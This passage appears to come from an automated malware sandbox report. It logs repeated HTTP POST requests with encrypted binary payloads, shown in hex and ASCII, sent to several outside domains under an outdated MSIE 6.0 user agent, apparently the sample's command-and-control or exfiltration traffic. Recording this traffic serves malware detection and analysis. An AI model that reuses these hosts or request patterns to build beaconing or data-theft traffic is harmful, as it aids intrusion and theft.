58 6f 4b 55 70 31 6f 2f 71 54 68 4b 78 51 6b 4c 73 30 36 70 2b 50 6f 64 56 38 6d 59 45 6a 78 38 4c 31 56 78 56 52 6c 36 2b 5a 2b 59 55 4e 66 34 46 6c 70 39 44 41 62 4f 4c 39 6d 61 46 69 68 42 6e 79 66 61 6d 66 77 7a 51 79 49 75 71 59 50 44 38 48 55 63 51 4c 4d 52 4d 52 52 4c 51 31 46 35 4e 67 64 46 55 4f 6c 50 34 72 52 53 6b 35 39 35 2f 6c 38 74 53 59 32 37 78 78 6f 33 42 65 43 79 34 33 30 73 34 7a 44 37 58 52 41 48 53 37 67 77 37 6d 48 55 65 50 4e 44 46 4e 44 38 56 33 51 59 43 4f 43 7a 57 4b 44 6b 6e 68 5a 30 37 65 44 75 6f 78 62 58 4b 38 68 4f 32 36 63 68 56 69 59 4f 42 58 Data Ascii: 87Z0PPVCFPi8cXhJXPcQcu5qWP2D6RKT+faruYsdthMwZnmqeRsRnpk+SG8tAwDLAhv0ezLqvoyycPhjK/3rL9KJFkS/NoV9/e7mhmF1dvSPb9pcA8ZxkuY84U3Qf6jVbGvp0TqnOSJl0IC3fnc2+sfrdnzPBxH0UnjUU/15DTjWVH0q7fe4ENgBgYuTbxNcao4SedGc6p1iYKrXghXcIFASOUzwtbFsJHOe4c+/Wgev9sRNN4OocnoUy41iy3OUFGb0FWPbdAYHPznI8PfYs6vZYD/Ys9GJqXUB5nU2vevN1eQ1Zi58G2Le3Jc1lZTet1jB96ylTFGCYMBxFOxO7B9ecD3gNNRDm/jDnCq6DWhAI7NV6LkhWPbNSFXoKUp1o/qThKxQkLs06p+PodV8mYEjx8L1VxVRl6+Z+YUNf4Flp9DAbOL9maFihBnyfamfwzQyIuqYPD8HUcQLMRMRRLQ1F5NgdFUOlP4rRSk595/l8tSY27xxo3BeCy430s4zD7XRAHS7gw7mHUePNDFND8V3QYCOCzWKDknhZ07eDuoxbXK8hO26chViYOBX
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 6e 43 33 4e 4c 4c 6b 42 4e 66 67 65 32 4a 38 4a 53 4c 2f 67 49 46 4c 4b 5a 43 36 58 57 58 6c 50 2f 5a 2f 2b 5a 75 4d 75 67 44 34 6d 58 39 76 47 45 4d 4e 49 4d 2b 31 4e 62 72 53 35 67 45 35 61 4f 64 4e 41 63 36 57 4f 54 41 6d 39 59 76 64 56 4f 57 67 56 6f 5a 31 33 77 30 62 44 61 38 41 43 78 6f 4b 59 57 46 75 44 5a 71 72 45 78 6c 78 38 51 36 61 2b 69 46 4d 76 64 77 48 47 73 39 34 47 47 2f 31 58 6d 36 48 6a 70 66 36 44 4b 4f 70 42 72 72 57 66 58 6b 46 71 68 42 6e 78 33 4c 42 59 37 77 47 43 76 52 39 58 47 63 6b 6f 78 61 6c 46 67 78 62 36 37 4e 62 2b 2b 37 57 5a 42 7a 73 6d 6c 75 45 61 34 6b 4f 7a 32 39 4e 77 58 63 5a 79 44 72 51 4e 68 4b 4e 63 51 72 35 6c 71 4e 61 76 49 74 45 6f 67 64 38 2b 46 7a 6e 50 52 32 38 71 4f 37 76 77 7a 39 30 56 2f 47 6f 4f 53 44 75 30 51 59 30 51 78 6a 30 43 39 58 2f 68 48 59 79 54 48 4f 79 36 6a 30 31 66 52 7a 49 4c 6b 6f 31 71 35 6c 76 76 35 76 78 49 4e 6b 73 79 6a 32 36 6e 37 34 4b 6d 53 6e 5a 2b 6e 39 47 39 6c 6c 63 7a 63 56 62 4d 66 55 52 42 51 6a 77 42 56 76 2f 47 73 2b 6b 4e 36 57 48 71 6b 33 32 42 55 57 77 35 49 70 71 34 74 31 4f 6d 52 2f 71 68 34 30 6f 67 66 54 6b 41 73 57 49 51 52 62 32 76 2b 2b 79 68 4c 65 63 75 66 7a 31 44 56 30 61 54 43 6d 7a 46 6f 56 34 49 50 6e 4e 6f 72 38 35 6e 41 65 6c 67 6b 54 32 37 63 6a 4c 69 30 78 4c 61 71 6a 62 79 35 2b 41 4d 6a 69 48 37 38 66 71 73 6c 42 62 51 6e 73 37 75 77 31 4f 50 51 6a 54 33 6b 4f 31 71 63 6c 4a 59 52 49 31 44 54 70 34 4c 6f 58 31 38 39 59 30 71 79 66 76 4f 6e 37 52 78 66 70 36 5a 35 61 4c 61 34 6a 43 33 69 74 78 32 67 69 67 70 49 70 73 34 49 49 4a 55 55 4b 6e 56 6a 45 42 74 65 6f 54 45 7a 76 6c 6d 64 76 2f 53 54 48 4d 4f 35 4f 64 6b 5a 4b 38 31 45 74 41 4f 72 46 32 72 51 6e 47 73 55 6d 7a 78 41 4c 51 47 55 4c 30 32 31 41 3d 3d Data Ascii: nC3NLLkBNfge2J8JSL/gIFLKZC6XWXlP/Z/+ZuMugD4mX9vGEMNIM+1NbrS5gE5aOdNAc6WOTAm9YvdVOWgVoZ13w0bDa8ACxoKYWFuDZqrExlx8Q6a+iFMvdwHGs94GG/1Xm6Hjpf6DKOpBrrWfXkFqhBnx3LBY7wGCvR9XGckoxalFgxb67Nb++7WZBzsmluEa4kOz29NwXcZyDrQNhKNcQr5lqNavItEogd8+FznPR28qO7vwz90V/GoOSDu0QY0Qxj0C9X/hHYyTHOy6j01fRzILko1q5lvv5vxINksyj26n74KmSnZ+n9G9llczcVbMfURBQjwBVv/Gs+kN6WHqk32BUWw5Ipq4t1OmR/qh40ogfTkAsWIQRb2v++yhLecufz1DV0aTCmzFoV4IPnNor85nAelgkT27cjLi0xLaqjby5+AMjiH78fqslBbQns7uw1OPQjT3kO1qclJYRI1DTp4LoX189Y0qyfvOn7Rxfp6Z5aLa4jC3itx2gigpIps4IIJUUKnVjEBteoTEzvlmdv/STHMO5OdkZK81EtAOrF2rQnGsUmzxALQGUL021A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 36 30 54 31 6e 72 71 6a 7a 50 65 6b 76 64 33 50 58 56 38 35 57 50 30 55 37 2b 34 71 37 6c 66 67 6a 6b 47 49 6d 71 59 42 54 51 50 39 30 48 7a 6e 68 6c 61 52 52 65 59 72 38 46 46 4a 6b 38 57 53 2b 66 33 2f 65 32 53 31 70 4b 4c 7a 68 30 45 71 70 75 47 62 59 30 4f 41 6e 51 77 42 54 44 30 54 61 66 38 41 45 72 2f 42 75 75 41 41 46 42 6b 64 4b 65 49 39 79 71 79 38 76 46 7a 74 79 59 45 46 52 59 45 33 4c 71 73 35 38 77 4c 63 51 55 68 73 62 48 49 72 37 49 70 35 73 7a 56 6a 6f 4d 48 77 34 78 54 69 51 34 65 71 48 47 73 44 79 6d 70 57 59 51 70 44 64 2b 58 62 45 65 4d 49 31 62 49 4b 6d 70 47 79 61 6e 46 35 2b 50 4c 72 72 54 54 6c 76 5a 6e 67 79 33 75 71 71 70 31 6e 6b 65 35 35 4e 65 59 47 53 36 68 42 7a 67 73 62 6b 79 38 2f 71 31 33 73 34 43 32 32 32 58 50 6d 46 71 5a 68 65 54 74 6d 49 30 49 52 72 2f 2f 34 4b 51 79 68 51 72 49 61 72 4a 32 64 54 4a 72 61 4d 32 36 44 69 57 43 36 61 45 5a 74 74 6a 47 32 56 58 75 53 70 6a 45 78 4f 6e 31 71 4a 33 70 54 4a 67 49 6b 79 46 6e 55 54 49 72 6c 67 37 31 50 54 37 4b 33 68 62 59 4c 41 35 35 58 57 56 4a 58 4a 5a 69 4f 62 65 72 69 5a 67 34 73 59 4c 66 33 61 67 4b 57 45 4b 71 4a 47 44 43 75 76 65 56 35 50 43 35 48 78 6c 49 76 6d 71 42 54 31 5a 4d 37 38 48 31 53 4d 77 6a 70 6f 2b 61 4c 4d 6c 62 6b 32 65 57 7a 71 47 6b 63 62 44 38 42 37 65 41 63 31 6a 61 46 62 32 45 77 68 70 4f 54 77 78 74 58 39 55 65 6e 44 4e 31 52 66 6f 50 68 7a 72 69 55 77 6d 34 61 54 6d 73 77 70 35 46 7a 4a 6f 76 30 75 4f 76 41 59 6b 50 4a 64 4c 65 66 30 52 30 69 64 7a 2f 33 47 31 42 4d 6c 57 4b 48 47 4e 5a 62 33 74 47 31 77 74 46 64 2b 4e 50 45 59 48 71 45 7a 52 53 57 66 4d 75 2b 49 54 5a 51 37 61 55 4f 56 71 34 6b 33 61 59 33 57 59 69 44 69 57 67 65 42 65 32 65 58 75 58 6d 30 2b 58 2f 32 69 46 62 54 48 68 43 50 4b 7a 77 77 67 6f 65 35 46 6a 4f 37 62 52 56 34 75 44 66 Data Ascii: 60T1nrqjzPekvd3PXV85WP0U7+4q7lfgjkGImqYBTQP90HznhlaRReYr8FFJk8WS+f3/e2S1pKLzh0EqpuGbY0OAnQwBTD0Taf8AEr/BuuAAFBkdKeI9yqy8vFztyYEFRYE3Lqs58wLcQUhsbHIr7Ip5szVjoMHw4xTiQ4eqHGsDympWYQpDd+XbEeMI1bIKmpGyanF5+PLrrTTlvZngy3uqqp1nke55NeYGS6hBzgsbky8/q13s4C222XPmFqZheTtmI0IRr//4KQyhQrIarJ2dTJraM26DiWC6aEZttjG2VXuSpjExOn1qJ3pTJgIkyFnUTIrlg71PT7K3hbYLA55XWVJXJZiOberiZg4sYLf3agKWEKqJGDCuveV5PC5HxlIvmqBT1ZM78H1SMwjpo+aLMlbk2eWzqGkcbD8B7eAc1jaFb2EwhpOTwxtX9UenDN1RfoPhzriUwm4aTmswp5FzJov0uOvAYkPJdLef0R0idz/3G1BMlWKHGNZb3tG1wtFd+NPEYHqEzRSWfMu+ITZQ7aUOVq4k3aY3WYiDiWgeBe2eXuXm0+X/2iFbTHhCPKzwwgoe5FjO7bRV4uDf
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vexcom.comCache-Control: no-cacheData Raw: 70 78 63 6c 51 2b 5a 49 32 76 64 6b 67 63 75 39 67 55 73 47 36 67 6e 7a 37 50 54 47 43 45 69 65 65 6f 4d 61 6b 49 4d 64 33 43 6f 4e 73 33 6f 30 55 64 6d 4c 73 32 61 78 43 44 34 52 72 37 55 53 64 6a 63 67 41 39 6a 76 53 58 62 70 64 62 6b 4f 48 50 77 36 45 30 7a 52 78 72 6c 31 75 69 6f 33 4f 41 34 74 6a 66 74 58 58 4d 46 6e 74 62 63 73 34 46 7a 77 69 41 38 63 4f 4b 43 64 46 36 35 4f 37 78 56 41 4c 2b 49 57 68 70 63 74 58 51 43 49 32 39 66 76 53 64 33 65 77 78 6a 58 2f 66 78 31 43 5a 39 52 36 6e 42 6c 35 6a 64 4b 72 4e 4d 4a 4d 7a 56 48 74 4d 62 4e 56 70 4d 57 39 62 64 6d 6c 4d 50 78 51 44 76 75 47 4d 54 37 6d 52 4f 6e 65 54 69 71 73 4f 45 72 73 33 57 2f 64 67 6f 48 44 6d 32 54 4b 2f 6a 65 2b 75 78 37 62 59 74 39 7a 58 67 75 58 65 33 36 63 47 4f 59 51 67 66 2b 62 76 2b 62 6e 52 68 6c 33 6c 64 75 39 69 70 59 2b 75 47 51 5a 62 78 31 32 4c 2b 65 43 4b 38 68 52 64 67 42 4f 7a 30 54 71 6e 2f 36 63 59 47 46 6e 32 46 46 54 6c 48 32 59 39 55 66 38 6c 35 65 43 49 72 7a 46 47 31 45 48 51 48 49 2b 4f 58 2f 6f 6b 45 6c 39 63 55 56 43 34 47 41 62 33 66 45 65 6f 41 30 67 36 71 6f 74 73 7a 51 6f 6b 38 79 78 65 56 50 75 56 4d 33 54 5a 72 51 4b 63 57 65 34 53 4b 46 31 4f 72 66 62 68 36 4f 71 52 4a 35 56 50 62 67 52 6a 36 4f 76 6f 4b 67 30 6b 2b 44 41 47 43 45 48 76 4e 63 58 2f 2b 58 52 79 5a 31 55 68 74 50 51 71 63 2f 4e 43 67 49 71 74 6f 74 6a 6f 50 35 6e 2b 56 34 66 56 48 6d 64 78 73 6e 4c 30 70 4d 4a 45 70 78 5a 47 30 42 66 4a 65 53 41 33 49 66 31 51 48 70 45 42 53 43 75 64 65 54 34 32 30 75 55 50 54 47 36 52 30 44 45 45 46 6f 64 73 34 51 34 39 4c 5a 77 2b 44 51 52 51 6d 71 56 31 55 53 56 35 67 31 6a 65 67 38 31 42 68 75 6d 4c 6d 69 64 30 42 44 54 70 56 48 2b 4e 77 49 6f 56 67 57 41 54 4e 6b 73 39 75 4c 36 58 73 6f 38 66 4f 33 4f 6d 6e 52 67 78 45 59 67 62 51 3d Data Ascii: pxclQ+ZI2vdkgcu9gUsG6gnz7PTGCEieeoMakIMd3CoNs3o0UdmLs2axCD4Rr7USdjcgA9jvSXbpdbkOHPw6E0zRxrl1uio3OA4tjftXXMFntbcs4FzwiA8cOKCdF65O7xVAL+IWhpctXQCI29fvSd3ewxjX/fx1CZ9R6nBl5jdKrNMJMzVHtMbNVpMW9bdmlMPxQDvuGMT7mROneTiqsOErs3W/dgoHDm2TK/je+ux7bYt9zXguXe36cGOYQgf+bv+bnRhl3ldu9ipY+uGQZbx12L+eCK8hRdgBOz0Tqn/6cYGFn2FFTlH2Y9Uf8l5eCIrzFG1EHQHI+OX/okEl9cUVC4GAb3fEeoA0g6qotszQok8yxeVPuVM3TZrQKcWe4SKF1Orfbh6OqRJ5VPbgRj6OvoKg0k+DAGCEHvNcX/+XRyZ1UhtPQqc/NCgIqtotjoP5n+V4fVHmdxsnL0pMJEpxZG0BfJeSA3If1QHpEBSCudeT420uUPTG6R0DEEFods4Q49LZw+DQRQmqV1USV5g1jeg81BhumLmid0BDTpVH+NwIoVgWATNks9uL6Xso8fO3OmnRgxEYgbQ=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 72 47 67 74 6f 47 64 68 53 66 69 71 39 61 2b 58 46 75 38 47 6d 44 42 34 53 68 37 64 78 61 39 68 69 38 73 63 4c 4a 6e 54 54 65 59 36 53 4a 65 53 44 63 61 49 72 34 52 57 4f 4a 6b 51 66 34 46 32 77 38 75 4d 33 53 52 49 49 6d 4c 34 65 68 4e 65 6a 58 37 54 47 39 75 31 62 71 78 5a 61 79 66 51 43 37 43 72 44 52 50 4f 77 31 55 79 52 34 33 79 39 62 53 30 57 49 78 6e 52 68 30 2b 68 52 33 31 79 4c 53 6a 5a 37 62 66 4e 4a 67 67 48 4d 5a 57 48 57 62 6f 77 77 75 6b 49 4c 36 75 76 36 2f 37 61 70 78 4d 53 54 47 56 56 4a 37 6b 61 4e 41 38 56 51 4c 4b 55 46 31 67 6f 6f 6c 65 6f 77 6b 43 6a 68 5a 66 2f 5a 6b 34 78 41 72 63 33 58 41 38 45 33 6f 64 54 6f 31 41 6d 45 61 76 47 56 55 6f 38 79 54 4c 41 58 59 4e 36 73 61 54 71 61 67 33 71 2b 70 73 6c 6b 52 69 47 41 56 69 35 46 79 2f 73 42 57 47 5a 36 30 6b 6c 44 48 49 71 31 4e 4d 64 59 32 57 35 39 72 4f 36 4a 67 70 69 43 43 4c 74 54 74 66 4b 58 67 2f 6d 4d 42 76 55 6f 36 58 39 54 71 65 63 65 67 4b 4b 58 7a 6f 74 75 6e 78 6b 31 76 76 76 71 4a 38 4a 71 54 44 41 69 55 37 6c 31 53 37 7a 36 56 6a 72 42 52 71 4b 4a 4b 43 6f 78 69 57 63 2b 71 4e 69 4b 32 6a 75 2b 36 6c 78 51 31 65 49 79 6b 6f 6a 65 63 57 44 38 52 7a 69 34 69 78 76 35 58 63 4b 6e 2b 67 57 5a 34 63 6d 6f 43 35 43 32 4d 54 67 4f 77 75 53 47 4e 4f 45 57 4c 4c 39 6c 58 4c 55 6f 39 62 4c 6c 63 36 4d 2f 63 35 75 58 78 49 34 4f 59 37 79 63 42 4f 2f 50 62 38 4d 32 41 38 31 79 5a 6b 58 79 78 54 42 68 54 2f 61 47 67 47 59 33 59 33 45 66 69 76 30 2f 35 78 32 4d 69 4a 6b 72 35 6c 53 72 6f 73 42 6e 53 48 63 38 6b 58 72 61 34 66 4a 52 2f 76 33 64 63 41 47 54 39 73 77 55 6c 4e 41 6b 5a 65 74 30 68 36 65 71 68 44 79 79 50 4c 2f 61 4d 78 33 47 55 51 44 51 74 37 38 46 30 44 2f 55 7a 76 67 56 7a 53 6a 76 53 79 76 51 51 67 74 77 3d 3d Data Ascii: rGgtoGdhSfiq9a+XFu8GmDB4Sh7dxa9hi8scLJnTTeY6SJeSDcaIr4RWOJkQf4F2w8uM3SRIImL4ehNejX7TG9u1bqxZayfQC7CrDRPOw1UyR43y9bS0WIxnRh0+hR31yLSjZ7bfNJggHMZWHWbowwukIL6uv6/7apxMSTGVVJ7kaNA8VQLKUF1gooleowkCjhZf/Zk4xArc3XA8E3odTo1AmEavGVUo8yTLAXYN6saTqag3q+pslkRiGAVi5Fy/sBWGZ60klDHIq1NMdY2W59rO6JgpiCCLtTtfKXg/mMBvUo6X9TqecegKKXzotunxk1vvvqJ8JqTDAiU7l1S7z6VjrBRqKJKCoxiWc+qNiK2ju+6lxQ1eIykojecWD8Rzi4ixv5XcKn+gWZ4cmoC5C2MTgOwuSGNOEWLL9lXLUo9bLlc6M/c5uXxI4OY7ycBO/Pb8M2A81yZkXyxTBhT/aGgGY3Y3Efiv0/5x2MiJkr5lSrosBnSHc8kXra4fJR/v3dcAGT9swUlNAkZet0h6eqhDyyPL/aMx3GUQDQt78F0D/UzvgVzSjvSyvQQgtw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 67 61 34 37 76 73 54 37 57 76 69 63 44 67 52 67 33 39 53 42 72 35 66 50 75 70 7a 38 54 33 75 7a 4f 47 31 54 55 34 6a 35 71 34 6b 58 56 77 67 48 76 47 38 52 41 75 31 77 50 71 6b 31 6c 43 6b 4e 35 76 6e 32 58 73 56 61 64 6e 42 67 6e 77 31 54 44 33 34 56 4a 37 69 30 56 55 78 5a 39 30 43 6b 39 77 68 4c 54 63 2b 49 4a 33 59 45 57 32 46 74 4a 5a 73 6a 4c 6b 47 4f 6e 67 31 32 68 50 74 46 76 76 64 51 61 4e 4f 7a 69 70 56 77 33 49 37 46 77 54 51 6b 36 56 52 65 65 70 6a 43 46 2b 62 35 50 47 52 4b 77 73 4a 39 34 66 37 74 30 74 4e 65 70 2b 57 57 35 38 30 61 37 74 41 79 47 4f 55 2b 70 45 67 46 53 67 30 57 52 65 6e 52 51 56 70 6a 67 38 43 78 66 36 2b 34 6e 47 39 6b 31 41 31 4a 45 71 64 34 6f 4e 38 72 46 57 65 48 30 74 31 2b 56 57 6d 57 48 31 32 74 2b 4f 54 4d 76 38 45 59 5a 36 50 51 2f 6d 69 33 56 44 49 79 37 41 64 43 6c 39 2b 44 52 75 63 4d 53 47 75 54 6a 75 68 38 7a 54 38 6a 4e 4d 59 65 62 77 58 2b 66 71 33 36 42 6d 7a 30 6c 6c 31 69 55 6a 59 59 63 70 62 31 79 65 49 34 76 32 30 59 2b 30 33 56 4b 4e 67 2f 77 37 7a 46 32 4f 53 77 4a 4f 6b 42 33 45 35 4d 62 4d 6c 4b 62 47 4e 51 75 6d 6f 47 75 4c 68 75 32 61 45 6a 53 67 71 68 68 6d 6d 6f 52 50 54 6b 6c 4e 4c 77 79 6a 6a 57 44 43 65 6b 2b 75 43 46 77 79 49 47 6c 54 76 42 78 6c 4d 76 70 43 75 56 42 34 6c 35 45 6c 36 63 72 32 6f 47 36 51 33 73 50 31 35 7a 2f 61 35 53 77 48 55 73 4c 70 56 30 6e 54 4d 74 42 50 5a 38 33 78 52 70 30 47 51 31 59 35 37 52 44 58 50 71 48 31 48 4d 75 73 58 32 43 69 4a 70 4f 6f 53 4e 44 36 45 79 56 6a 77 33 30 66 6b 43 74 47 7a 41 61 63 49 53 68 66 4c 61 79 64 41 70 53 38 31 68 31 63 42 67 47 72 46 55 68 37 34 78 61 36 38 3d Data Ascii: ga47vsT7WvicDgRg39SBr5fPupz8T3uzOG1TU4j5q4kXVwgHvG8RAu1wPqk1lCkN5vn2XsVadnBgnw1TD34VJ7i0VUxZ90Ck9whLTc+IJ3YEW2FtJZsjLkGOng12hPtFvvdQaNOzipVw3I7FwTQk6VReepjCF+b5PGRKwsJ94f7t0tNep+WW580a7tAyGOU+pEgFSg0WRenRQVpjg8Cxf6+4nG9k1A1JEqd4oN8rFWeH0t1+VWmWH12t+OTMv8EYZ6PQ/mi3VDIy7AdCl9+DRucMSGuTjuh8zT8jNMYebwX+fq36Bmz0ll1iUjYYcpb1yeI4v20Y+03VKNg/w7zF2OSwJOkB3E5MbMlKbGNQumoGuLhu2aEjSgqhhmmoRPTklNLwyjjWDCek+uCFwyIGlTvBxlMvpCuVB4l5El6cr2oG6Q3sP15z/a5SwHUsLpV0nTMtBPZ83xRp0GQ1Y57RDXPqH1HMusX2CiJpOoSND6EyVjw30fkCtGzAacIShfLaydApS81h1cBgGrFUh74xa68=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 2b 42 55 52 4b 34 4b 45 58 76 6a 6c 4a 51 48 44 64 58 6d 35 63 67 56 5a 78 4e 2b 53 51 67 2b 35 31 67 71 46 31 62 57 57 75 48 63 76 58 66 34 77 51 49 6d 54 71 4e 63 30 4b 4b 47 51 45 65 50 4e 6b 53 59 48 64 4b 2f 53 4b 6f 32 5a 4d 54 48 73 48 6f 57 76 61 2f 52 61 72 39 36 74 2f 74 50 44 74 6d 70 45 57 70 46 65 75 50 55 38 62 4d 71 64 55 56 6c 6d 51 33 75 59 39 73 68 78 54 57 76 72 66 35 6b 6f 72 30 55 76 75 32 51 6a 53 49 4b 35 35 62 55 5a 50 4b 4e 31 42 39 36 44 4c 37 76 50 38 57 6d 58 70 4c 42 64 78 53 48 77 38 6e 51 43 4e 57 30 4b 48 74 65 75 44 32 6a 36 51 35 37 75 66 6c 64 6d 78 73 52 4f 59 73 4b 69 4c 70 59 33 75 55 6e 46 48 74 50 6c 62 7a 77 45 41 67 78 37 4d 59 4c 61 70 45 52 69 6f 6b 67 32 42 31 43 49 4d 51 6f 66 65 36 42 41 72 49 42 76 74 38 78 69 46 67 6f 38 34 62 2b 6c 4a 50 56 45 76 5a 46 6a 37 37 42 33 56 39 57 51 47 36 68 78 31 42 35 52 4d 49 79 4f 66 63 56 48 71 34 66 52 64 50 70 56 4d 69 70 6c 73 37 35 61 78 53 4a 6e 47 37 31 6e 2b 30 44 54 61 76 4f 48 4f 73 37 56 4c 51 6f 33 4c 41 63 6a 46 4f 50 55 4c 79 33 46 43 76 62 56 72 4a 44 63 46 79 59 6a 31 36 30 54 67 4c 73 74 58 57 38 6b 6d 4e 62 56 66 79 66 76 43 2b 64 76 73 7a 77 6c 78 7a 35 47 7a 47 43 71 2b 4e 58 74 32 67 35 69 32 2b 63 4c 4e 79 48 4b 4b 2f 45 6b 71 78 34 44 71 44 56 74 4f 47 39 6a 4b 53 7a 30 34 45 51 30 35 69 44 6c 69 61 57 52 61 79 78 65 37 53 7a 62 32 54 4f 2b 70 78 35 50 48 54 6b 51 71 61 66 41 45 50 33 56 72 6f 42 79 54 4c 76 62 6c 72 47 36 6b 43 74 61 77 46 35 41 58 6d 53 76 61 6b 4d 62 35 61 63 4c 47 6b 34 4c 2b 30 5a 47 6a 74 79 6e 36 71 58 39 39 50 77 6b 7a 35 4b 2f 47 39 76 33 79 5a 52 61 4f 30 37 77 32 4c 64 36 34 47 59 42 35 76 48 41 42 64 4e 7a 44 31 2b 32 58 53 68 58 6b 73 76 78 52 52 50 45 6d 61 4e 77 49 4a 36 64 34 30 6b 3d Data Ascii: +BURK4KEXvjlJQHDdXm5cgVZxN+SQg+51gqF1bWWuHcvXf4wQImTqNc0KKGQEePNkSYHdK/SKo2ZMTHsHoWva/Rar96t/tPDtmpEWpFeuPU8bMqdUVlmQ3uY9shxTWvrf5kor0Uvu2QjSIK55bUZPKN1B96DL7vP8WmXpLBdxSHw8nQCNW0KHteuD2j6Q57ufldmxsROYsKiLpY3uUnFHtPlbzwEAgx7MYLapERiokg2B1CIMQofe6BArIBvt8xiFgo84b+lJPVEvZFj77B3V9WQG6hx1B5RMIyOfcVHq4fRdPpVMipls75axSJnG71n+0DTavOHOs7VLQo3LAcjFOPULy3FCvbVrJDcFyYj160TgLstXW8kmNbVfyfvC+dvszwlxz5GzGCq+NXt2g5i2+cLNyHKK/Ekqx4DqDVtOG9jKSz04EQ05iDliaWRayxe7Szb2TO+px5PHTkQqafAEP3VroByTLvblrG6kCtawF5AXmSvakMb5acLGk4L+0ZGjtyn6qX99Pwkz5K/G9v3yZRaO07w2Ld64GYB5vHABdNzD1+2XShXksvxRRPEmaNwIJ6d40k=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.transsib.comCache-Control: no-cacheData Raw: 64 50 43 73 64 43 65 46 37 50 66 41 7a 36 65 79 31 6b 42 4f 45 66 41 52 31 70 4f 64 6c 4d 6a 38 53 30 75 46 30 71 68 37 53 4d 4c 34 33 45 76 34 50 39 7a 4e 79 31 4a 54 76 35 49 34 41 6f 45 56 48 6d 54 5a 63 6d 6f 76 30 54 41 5a 2b 44 4c 6f 73 67 59 77 65 52 2b 37 34 78 77 75 57 6b 2f 30 33 4b 39 4d 47 2b 43 71 37 66 69 6c 58 39 59 70 56 50 69 42 5a 53 4b 79 56 55 4c 69 68 2b 66 68 32 74 45 36 73 4b 32 30 74 44 35 52 70 69 71 6c 53 4a 48 55 64 31 32 4e 71 41 2f 30 70 6f 53 4e 55 71 65 79 6b 39 53 46 52 76 4d 49 49 52 64 59 6d 69 74 4e 4f 64 31 65 4e 35 6f 6f 49 6b 45 56 42 4e 4f 78 36 33 71 79 33 65 58 66 48 56 78 32 50 79 4c 37 6f 67 71 67 66 4e 7a 6f 44 46 79 77 6f 37 6b 72 5a 70 49 54 52 43 4d 2f 70 51 52 4a 50 34 47 42 71 49 31 4b 66 4e 59 32 46 4e 6f 79 35 71 6a 4d 48 7a 78 46 56 77 34 36 31 54 4a 33 33 56 79 7a 50 35 6e 55 42 6f 51 71 41 34 67 70 46 62 75 49 4d 36 44 6b 6a 62 74 69 31 2b 39 6c 31 59 79 50 65 77 69 72 56 59 44 6f 6f 69 39 39 61 6b 71 79 31 54 49 52 56 36 68 32 75 73 59 73 47 6e 34 76 50 6e 71 73 4a 32 7a 59 30 35 7a 66 43 78 32 7a 35 48 46 68 41 56 5a 33 78 4a 79 75 46 56 69 38 35 49 2b 2b 44 51 57 77 4b 4b 43 2b 6e 2f 50 49 77 4b 79 36 58 4d 4c 4a 45 7a 49 59 51 70 31 4c 4c 4f 5a 36 46 6c 70 77 58 52 4a 6b 39 71 37 62 35 73 49 6c 6c 47 38 45 43 2f 4d 63 65 30 56 78 62 31 70 4e 39 46 42 34 31 4e 6f 34 79 63 4a 41 65 69 62 52 47 67 2b 44 50 75 68 68 31 38 74 65 42 42 62 54 50 41 41 5a 50 68 4d 76 57 39 43 56 48 42 55 4d 5a 56 37 52 47 69 33 37 39 49 73 31 39 4a 78 65 45 45 47 76 2b 35 4a 56 32 41 47 4a 4c 66 68 38 4c 62 4f 4d 38 64 38 49 31 77 2b 4e 70 73 7a 39 35 6c 36 38 63 35 34 71 72 43 5a 6b 61 4f 34 75 49 57 76 48 7a 62 62 59 72 57 4e 62 53 45 4d 31 72 45 75 5a 4d 6f 43 48 45 45 6d 39 78 73 53 70 64 6a 2b 61 31 47 68 6a 42 77 46 66 Data Ascii: dPCsdCeF7PfAz6ey1kBOEfAR1pOdlMj8S0uF0qh7SML43Ev4P9zNy1JTv5I4AoEVHmTZcmov0TAZ+DLosgYweR+74xwuWk/03K9MG+Cq7filX9YpVPiBZSKyVULih+fh2tE6sK20tD5RpiqlSJHUd12NqA/0poSNUqeyk9SFRvMIIRdYmitNOd1eN5ooIkEVBNOx63qy3eXfHVx2PyL7ogqgfNzoDFywo7krZpITRCM/pQRJP4GBqI1KfNY2FNoy5qjMHzxFVw461TJ33VyzP5nUBoQqA4gpFbuIM6Dkjbti1+9l1YyPewirVYDooi99akqy1TIRV6h2usYsGn4vPnqsJ2zY05zfCx2z5HFhAVZ3xJyuFVi85I++DQWwKKC+n/PIwKy6XMLJEzIYQp1LLOZ6FlpwXRJk9q7b5sIllG8EC/Mce0Vxb1pN9FB41No4ycJAeibRGg+DPuhh18teBBbTPAAZPhMvW9CVHBUMZV7RGi379Is19JxeEEGv+5JV2AGJLfh8LbOM8d8I1w+Npsz95l68c54qrCZkaO4uIWvHzbbYrWNbSEM1rEuZMoCHEEm9xsSpdj+a1GhjBwFf
